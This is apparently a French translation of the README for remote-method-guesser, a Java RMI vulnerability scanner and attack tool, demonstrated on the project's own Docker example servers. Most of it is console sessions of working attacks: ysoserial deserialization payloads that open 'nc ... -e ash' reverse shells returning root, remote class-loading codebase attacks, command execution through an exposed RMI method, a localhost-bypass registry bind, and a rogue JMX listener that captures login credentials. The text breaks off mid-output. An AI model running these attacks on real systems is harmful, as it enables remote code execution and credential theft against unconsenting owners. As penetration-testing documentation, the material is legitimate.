
Scanner de vulnérabilités Java RMI
remote-method-guesser a été présenté à Black Hat USA2021 dans le cadre des sessions Arsenal. L'enregistrement de la session et les diapositives correspondantes sont disponibles publiquement et peuvent être trouvés via les liens suivants :
Le dépôt remote-method-guesser contient trois serveurs d'exemple qui peuvent être utilisés pour s'entraîner à l'énumération et aux attaques Java RMI.
Le rmg-example-server expose des services RMI classiques qui peuvent être énumérés et exploités à l'aide de remote-method-guesser.
Le rmg-ssrf-server expose un service HTTP vulnérable aux attaques SSRF et exécute des services RMI qui écoutent uniquement sur localhost. Cela peut être utilisé pour s'entraîner avec les options --ssrf et --ssrf-response de remote-method-guesser.
Le spring-remoting-server expose des interfaces RMI créées via Spring Remoting. Elles sont un peu différentes du Java RMI classique et peuvent être utilisées pour tester l'intégration associée de Spring Remoting dans remote-method-guesser.
Tous les serveurs sont disponibles en tant que conteneurs dans le GitHub Container Registry :
rmg est un projet maven et l'installation devrait être simple. Avec maven installé, exécutez simplement les commandes suivantes pour créer un fichier .jar exécutable :```console
$ git clone https://github.com/qtc-de/remote-method-guesser
$ cd remote-method-guesser
$ mvn package
Vous pouvez également utiliser les paquets préconstruits créés pour [chaque version](https://github.com/qtc-de/remote-method-guesser/releases). Les paquets préconstruits pour la branche de développement sont créés automatiquement et peuvent être trouvés sur la *page* *GitHub* [des actions](https://github.com/qtc-de/remote-method-guesser/actions).
*rmg* n'inclut pas *ysoserial* comme dépendance. Pour activer le support de *ysoserial*, vous devez soit spécifier le chemin vers votre fichier ``ysoserial.jar`` comme argument supplémentaire (par exemple ``--yso /opt/ysoserial.jar``), soit modifier le chemin par défaut dans le [fichier de configuration rmg](https://github.com/qtc-de/remote-method-guesser/blob/master/src/config.properties) avant de construire le projet.
*rmg* prend également en charge l'autocomplétion pour *bash*. Pour profiter de l'autocomplétion, vous devez avoir installé le projet [completion-helpers](https://github.com/qtc-de/completion-helpers). Si la configuration est correcte, il suffit de copier le [script d'autocomplétion](https://github.com/qtc-de/remote-method-guesser/blob/master/resources/bash_completion.d/rmg) dans votre dossier ``~/.bash_completion.d`` pour activer l'autocomplétion.```console
$ cp resources/bash_completion.d/rmg ~/bash_completion.d/
Dans ce qui suit, de courts exemples pour chaque opération disponible sont présentés. Pour une description plus détaillée, vous devriez lire le dossier de documentation qui contient des informations plus détaillées sur rmg et Java RMI en général. Tous les exemples présentés sont basés sur le rmg-example-server et le rmg-ssrf-server. Tous deux sont contenus dans ce dépôt dans le dossier docker et peuvent être utilisés pour pratiquer l'énumération Java RMI. Vous pouvez soit construire les conteneurs correspondants vous-même, soit les charger directement depuis le GitHub Container Registry.```console [qtc@devbox ~]$ rmg -h usage: remote-method-guesser [-h] action ...
rmg v4.0.0 - a Java RMI Vulnerability Scanner
positional arguments:
action
bind Binds an object to the registry thats points to listener
call Regulary calls a method with the specified arguments
codebase Perform remote class loading attacks
enum Enumerate common vulnerabilities on Java RMI endpoints
guess Guess methods on bound names
known Display details of known remote objects
listen Open ysoserials JRMP listener
objid Print information contained within an ObjID
rebind Rebinds boundname as object that points to listener
roguejmx Creates a rogue JMX listener (collect credentials)
scan Perform an RMI service scan on common RMI ports
serial Perform deserialization attacks against default RMI components
unbind Removes the specified bound name from the registry
named arguments: -h, --help show this help message and exit
#### bind, rebind and unbind
En utilisant l'action ``bind``, ``rebind`` ou ``unbind``, il est possible de modifier les *noms liés* disponibles dans le *registre RMI*.
Cela est particulièrement utile pour vérifier ``CVE-2019-2684``, qui contourne les restrictions de localhost et permet aux utilisateurs distants d'effectuer
des opérations de *bind*. Lors de l'utilisation de l'action ``bind`` ou ``rebind``, *remote-method-guesser* lie par défaut le ``javax.management.remote.rmi.RMIServerImpl_Stub``
*RemoteObject*, qui est le *RemoteObject* utilisé par les serveurs *jmx*. De plus, vous devez spécifier l'adresse du *point de terminaison TCP* correspondant où le *RemoteObject* peut être trouvé (adresse à laquelle les clients doivent se connecter lorsqu'ils tentent d'utiliser votre objet lié).```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass
[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]
[+] - my-object
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]
En utilisant le Plugin System de remote-method-guesser, il est également possible de lier des objets personnalisés au registre RMI. Pour en savoir plus sur le Plugin System, veuillez vous référer au dossier de documentation.
En utilisant l'action call de remote-method-guesser, vous pouvez invoquer des méthodes distantes sans écrire de code Java. Considérez la méthode String execute(String cmd) qui existe sur le serveur distant. Cette méthode semble prometteuse et vous pourriez vouloir l'invoquer en utilisant un appel Java RMI classique. Cela peut être fait en utilisant la commande suivante :```console
[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '"wget 172.17.0.1:8000/worked"' --signature 'String execute(String cmd)' --bound-name plain-server
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:19:06] "GET /worked HTTP/1.1" 200 -
Notez que l'appel de méthodes distantes ne génère aucune sortie par défaut. Pour traiter les sorties générées par l'action ``call``, vous devez utiliser le [système de plugins](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/plugin-system.md) de *remote-method-guesser* et enregistrer un ``ResponseHandler`` ou utiliser le plugin par défaut `GenericPrint`. `GenericPrint` est inlcuded par défaut dans *remote-method-guesser* et peut être activé en utilisant l'option `--show-response`.```console
[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '"id"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response
[+] uid=0(root) gid=0(root) groups=0(root)
Lors de l'action call, les arguments fournis sont évalués en tant qu'expression Java en les insérant dans le modèle suivant :
new Object[]{ arg1, arg2, arg3, ... }. Par conséquent, vous devez vous assurer que vos arguments fournis correspondent à ce modèle. Par exemple,
utiliser "id" comme argument entraîne une erreur, car l'argument est passé comme id à remote-method-guesser et l'expression
résultante new Object[]{ id } n'est pas une expression Java valide. Au lieu de cela, vous devez utiliser '"id"' car cela donne new Object[]{ "id" },
qui est valide.
De plus, les types primitifs doivent être spécifiés dans leur représentation objet correspondante (par exemple new Integer(5) au lieu de 5). Sinon, ils
ne peuvent pas être utilisés dans le tableau Object[] créé par l'expression Java. Lors de l'appel RMI, les arguments correspondants sont utilisés
comme prévu et correspondront à la signature de méthode que vous avez spécifiée. Pour des cas d'utilisation plus complexes, vous pouvez également définir un ArgumentProvider personnalisé en utilisant
le système de plugins de remote-method-guesser.
Java RMI prend en charge une fonctionnalité appelée codebases, où le client et le serveur peuvent spécifier des URLs lors des appels RMI qui peuvent être utilisées pour charger dynamiquement des classes inconnues. Si un serveur RMI accepte un codebase spécifié par le client, cela peut conduire à une exécution de code à distance lorsque le client fournit une classe Java malveillante lors de la communication RMI.
La configuration du codebase sur un serveur RMI peut être différente pour les différents composants : Activator, DGC, Registry et Application Level.
remote-method-guesser vous permet de tester chaque composant individuellement en utilisant soit --signature <method> (niveau application),
--component act (activateur), --component dgc (ramasse-miettes distribué) ou --component reg (registre RMI) avec l'action
codebase.
Application Level:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature "String login(java.util.HashMap dummy1)" --bound-name legacy-service [+] Attempting codebase attack on RMI endpoint... [+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call. [+] [+] Using non primitive argument type java.util.HashMap on position 0 [+] Specified method signature is String login(java.util.HashMap dummy1) [+] [+] Remote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14 [+] Codebase attack probably worked :) [+] [+] If where was no callback, the server did not load the attack class ExampleClass.class. [+] The class is probably known by the server or it was already loaded before. [+] In this case, you should try a different classname.
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /ExampleClass.class HTTP/1.1" 200 - 172.17.0.2 - - [30/Nov/2021 07:23:39] "GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1" 404 -
*Registre RMI*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg
[+] Attempting codebase attack on RMI Registry endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.
[+]
[+] Caught ClassCastException during codebase attack.
[+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:26:09] "GET /ExampleClass.class HTTP/1.1" 200 -
Collecteur de déchets distribué:```console [qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc [+] Attempting codebase attack on DGC endpoint... [+] Using class Example with codebase http://172.17.0.1:8000/ during clean call. [+] [+] Caught ClassCastException during codebase attack. [+] Codebase attack most likely worked :)
[qtc@devbox www]$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 172.17.0.2 - - [30/Nov/2021 07:26:53] "GET /ExampleClass.class HTTP/1.1" 200 -
*Activateur*:```console
[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act
[+] Attempting codebase attack on Activator endpoint...
[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.
[+]
[+] Caught IllegalArgumentException during codebase attack.
[+] Codebase attack was probably successful :)
[qtc@devbox www]$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.2 - - [30/Nov/2021 07:27:13] "GET /ExampleClass.class HTTP/1.1" 200 -
L'action enum effectue plusieurs vérifications sur le point d'accès Java RMI spécifié et affiche les résultats correspondants. Pour une
explication plus détaillée sur la sortie générée par l'action enum, vous pouvez lire la page de documentation
correspondante.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.example/well-hidden-development-folder/
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
#### guess
Lors de l'utilisation de l'action ``guess``, *remote-method-guesser* tente d'identifier les méthodes distantes existantes en envoyant des hachages de méthodes
au serveur distant. Cette opération nécessite une wordlist qui contient les définitions de méthodes correspondantes.
*remote-method-guesser* fournit des wordlists par défaut qui sont incluses dans le fichier ``.jar`` lors de la phase de construction.
Vous pouvez remplacer les emplacements des wordlists soit en modifiant le [fichier de configuration rmg](https://github.com/qtc-de/remote-method-guesser/blob/master/src/config.properties), soit en utilisant les options ``--wordlist-file``
ou ``--wordlist-folder``. Les méthodes sans arguments sont ignorées lors de la tentative d'identification, car elles entraînent de véritables appels de méthodes
côté serveur. Vous pouvez activer la recherche de méthodes sans argument en utilisant le commutateur ``--zero-arg``.```console
[qtc@devbox ~]$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
Lors de l'exécution de l'action enum, remote-method-guesser marque les noms liés disponibles sur le registre RMI soit comme connus soit comme inconnus. Cette décision dépend de la classe qui est implémentée par le nom lié correspondant et du fait que la classe correspondante soit contenue dans la liste des points d'extrémité connus qui se trouve dans le dépôt remote-method-guesser. Lorsqu'un nom lié est marqué comme connu, vous pouvez utiliser l'action known sur la classe correspondante. Cela permet d'obtenir des informations sur la classe correspondante, comme les méthodes distantes disponibles, une description générale et les vulnérabilités possibles :```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub [+] Name: [+] JMX Server [+] [+] Class Name: [+] - javax.management.remote.rmi.RMIServerImpl_Stub [+] - javax.management.remote.rmi.RMIServer [+] [+] Description: [+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine. [+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient [+] method usually passing a HashMap that contains connection options (e.g. credentials). The return [+] value (RMIConnection object) is another remote object that is when used to perform JMX related [+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id. [+] [+] Remote Methods: [+] - String getVersion() [+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] [+] References: [+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] [+] Vulnerabilities: [+] [+] ----------------------------------- [+] Name: [+] MLet [+] [+] Description: [+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load [+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean [+] is therefore most of the time equivalent to remote code execution. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter [+] [+] ----------------------------------- [+] Name: [+] Deserialization [+] [+] Description: [+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient [+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the [+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can [+] establish a working JMX connection, you can also perform deserialization attacks. [+] [+] References: [+] - https://github.com/qtc-de/beanshooter
La liste des classes connues, leur description et la liste des vulnérabilités connues est loin d'être complète.
Elle devrait s'enrichir à l'avenir et est alimentée par les contributions des autres utilisateurs. Si vous rencontrez un *point de terminaison RMI*
qui implémente une classe actuellement manquante et que vous disposez d'informations suffisantes (description et méthodes disponibles),
n'hésitez pas à créer une issue ou une pull request.
#### listen
Il est parfois nécessaire de fournir un *JRMPListener* malveillant, qui sert des charges utiles de désérialisation
aux connexions *RMI* entrantes. Écrire un tel écouteur de zéro n'est pas nécessaire, car il est déjà fourni par le
[projet ysoserial](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java).
*remote-method-guesser* fournit une enveloppe autour de l'implémentation *ysoserial*, qui vous permet de lancer un *JRMPListener*
en utilisant la syntaxe habituelle *rmg* :```console
[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 "touch /dev/shm/test"
[+] Creating ysoserial payload... done.
[+] Creating a JRMPListener on 0.0.0.0:4444.
[+] Handing off to ysoserial...
L'action objid peut être utilisée pour afficher des informations plus détaillées sur un ObjID. Chaque RemoteObject se voit attribuer un ObjID lorsqu'il est exporté par le runtime RMI. La connaissance de la valeur ObjID est nécessaire pour communiquer avec un RemoteObject, ce qui explique pourquoi vous avez généralement besoin d'un registre RMI. Le registre RMI contient le ObjID pour chaque nom lié et remote-method-guesser les affiche lors de l'action enum.```console
[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+] - legacy-service
[+] --> eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]
[+] - plain-server
[+] --> eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]
Les valeurs ``ObjID`` sont composées de différentes parties. Ces parties sont affichées sous forme lisible par l'humain lors de l'utilisation de l'action ``objid`` sur l'``ObjID`` correspondant :```console
[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'
[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]
[+]
[+] ObjNum: 1096154566158180646
[+] UID:
[+] Unique: -734386537
[+] Time: 1638254048332 (Nov 30,2021 07:34)
[+] Count: -32759
La plupart des informations affichées ne sont pas très utiles, mais la valeur Time peut être intéressante. Cette valeur contient l'heure à laquelle le RemoteObject a été créé. Elle permet donc de déterminer des éléments comme la durée de fonctionnement d'un serveur RMI.
Parfois, vous identifiez des services qui sont souvent accompagnés de composants Java RMI avec eux (JBoss, Solr, Tomcat, ...),
mais vous ne souhaitez pas effectuer un scan complet des ports sur l'hôte correspondant. Dans ces situations, l'action scan
peut être utile. Elle effectue un scan rapide des ports pour les ports RMI courants uniquement et tente d'identifier les services RMI
sur ceux-ci :```console
[qtc@devbox ~]$ rmg scan 172.17.0.2
[+] Scanning 112 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [119 / 119] [#############################] 100%
[+]
[+] Portscan finished.
Par défaut, l'action de scan utilise une liste préconfigurée de *ports RMI* courants. Pour personnaliser la liste des ports à analyser,
vous pouvez utiliser l'option ``--ports``. Cette option accepte des nombres simples et des plages de nombres pour les spécifications de port.
Le caractère tiret (``-``) peut être utilisé pour référencer la liste de ports par défaut.```console
[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000
[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.
[+]
[+] [HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:1090 (Registry, DGC)
[+] [HIT] Found RMI service(s) on 172.17.0.2:9010 (Registry, Activator, DGC)
[+] [6234 / 6234] [#############################] 100%
[+]
[+] Portscan finished.
Notez que l'action scan est implémentée de manière simple et peu fiable. Si possible, vous devriez toujours effectuer un scan de ports dédié avec des outils comme nmap. Cependant, l'action scan peut vous donner un aperçu rapide pour trouver des ports RMI.
L'action roguejmx crée un écouteur JMX sur votre système qui capture les identifiants des connexions entrantes. Après avoir créé l'écouteur, remote-method-guesser affiche la valeur ObjID nécessaire pour interagir avec lui.```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
À l'aide des opérations ``bind`` et ``rebind``, vous pouvez injecter cet écouteur dans un *registre RMI* et attendre que d'autres utilisateurs se connectent à votre serveur :```console
[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 172.17.0.1:4444 jmxrmi --bind-objid '[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]' --localhost-bypass
[+] Binding name jmxrmi to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] Encountered no Exception during bind call.
[+] Bind operation was probably successful.
[qtc@devbox ~]$ jconsole # Connect to 172.17.0.2:9010 with credentials
Les connexions entrantes sont journalisées par le listener:```console [qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 [+] Statring RogueJMX Server on 172.17.0.1:4444 [+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722] [+] [+] Got incoming call for newClient(...) [+] Username: admin [+] Password: s3crEt!
*remote-method-guesser* utilise la valeur *ObjID* ``[6633018:17cb5d1bb57:-7ff8, -8114172517417646722]`` par défaut pour les opérations *bind* et le serveur *JMX* malveillant. Spécifier manuellement l'*ObjID* comme indiqué ci-dessus n'est donc pas nécessaire. Vous pouvez modifier la valeur par défaut de l'*ObjID* soit via les arguments de la ligne de commande, soit dans le fichier de configuration de *remote-method-guesser*.
Le serveur *JMX* malveillant renvoie une exception d'accès (identifiants invalides) pour chaque connexion entrante par défaut, mais vous pouvez également rediriger les connexions entrantes vers une instance *JMX* différente. Cela permet d'obtenir les identifiants des connexions clientes entrantes sans perturber les services. Pour rediriger les connexions, vous devez spécifier la cible correspondante comme argument supplémentaire. Les cibles peuvent être spécifiées de deux manières différentes :
1. L'adresse IP et le port d'un registre RMI avec le nom lié de l'instance *JMX* correspondante : ```console
[qtc@devbox ~]$ rmg roguejmx 172.17.0.1 4444 --forward-host 172.17.0.2 --forward-port 9010 --forward-bound-name jmxrmi
[+] Statring RogueJMX Server on 172.17.0.1:4444
[+] --> Assigned ObjID is: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]
[+] --> Forwarding connections to: 172.17.0.2:9010:jmxrmi
[+]
#### serial
*Java RMI* utilise des *objets sérialisés Java* dans la communication client/serveur. Cela le rend potentiellement vulnérable aux *attaques de désérialisation*. Ces attaques peuvent cibler différents *composants RMI* :
* *Composants RMI* bien connus (*internes RMI*)
* *Registre RMI*
* *DGC*
* *Activator*
* *RemoteObjects* définis par l'utilisateur (*niveau application*)
##### Composants RMI bien connus
Alors que les *serveurs RMI* modernes appliquent des *filtres de désérialisation* sur ces *composants RMI bien connus* (*JEP290*), les serveurs plus anciens peuvent encore être vulnérables aux *attaques de désérialisation*. *remote-method-guesser* permet de vérifier cela en utilisant l'action ``serial``, qui peut effectuer des attaques de désérialisation sur l'*Activator*, le *Distributed Garbage Collector* (*DGC*) ou le *registre RMI*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component reg
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI Registry endpoint...
[+]
[+] Caught ClassCastException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:46209.
id
uid=0(root) gid=0(root) groups=0(root)
Dans le cas du RMI registry, les filtres de déserialisation peuvent être contournés en utilisant les gadgets de contournement JRMPClient ou An Trinh. Ces gadgets créent un canal RMI sortant qui n'applique plus les filtres de déserialisation. Sur ce canal, les attaques par déserialisation peuvent être appliquées comme d'habitude, mais les deux contournements ont été corrigés dans les versions les plus récentes de Java RMI.```console [qtc@devbox ~]$ rmg serial 172.17.0.2 9010 AnTrinh 172.17.0.1:4444 --component reg [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] Caught javax.management.BadAttributeValueExpException during deserialization attack. [+] This could be caused by your gadget an the attack probably worked anyway. [+] If it did not work, you can retry with --stack-trace to see the details.
[qtc@devbox ~]$ rmg listen 172.17.0.1 4444 CommonsCollections6 'nc 172.17.0.1 4445 -e ash' [+] Creating ysoserial payload... done. [+] Creating a JRMPListener on 172.17.0.1:4444. [+] Handing off to ysoserial... Have connection from /172.17.0.2:55470 Reading message... Sending return with payload for obj [0:0:0, 123] Closing connection
[qtc@devbox ~]$ nc -vlp 4445 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::4445 Ncat: Listening on 0.0.0.0:4445 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:45429. id uid=0(root) gid=0(root) groups=0(root)
Au cours de son action ``enum``, *remote-method-guesser* vous informe si un *Activator* est présent sur un *point de terminaison RMI* (composant *RMI* hérité).
L'implémentation par défaut du *système d'activation* n'implémente aucun filtre de désérialisation pour le *RemoteObject d'Activator*. Par conséquent,
les attaques par désérialisation sur un point de terminaison *Activator* devraient toujours fonctionner, même sur les versions les plus récentes de *Java*.```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --component act
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on Activation endpoint...
[+]
[+] Caught IllegalArgumentException during deserialization attack.
[+] Deserialization attack was probably successful :)
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:44673.
id
uid=0(root) gid=0(root) groups=0(root)
Alors que les implémentations modernes de Java RMI protègent les composants RMI bien connus avec des filtres de désérialisation par défaut, les
RemoteObjects personnalisés (véritables applications RMI) ne sont généralement pas protégés. Les méthodes distantes qui n'utilisent pas seulement des types primitifs dans
leurs arguments peuvent donc être utilisées pour des attaques par désérialisation.
Cet article de blog de Hans-Martin Münch
explique ce problème plus en détail. remote-method-guesser peut être utilisé pour vérifier facilement de telles vulnérabilités. Par exemple,
nous pouvons utiliser la méthode String login(java.util.HashMap dummy1) du serveur d'exemple de remote-method-guesser pour effectuer une
attaque par désérialisation :```console
[qtc@devbox ~]$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --signature 'String login(java.util.HashMap dummy1)' --bound-name legacy-service
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.util.HashMap on position 0
[+] Specified method signature is String login(java.util.HashMap dummy1)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
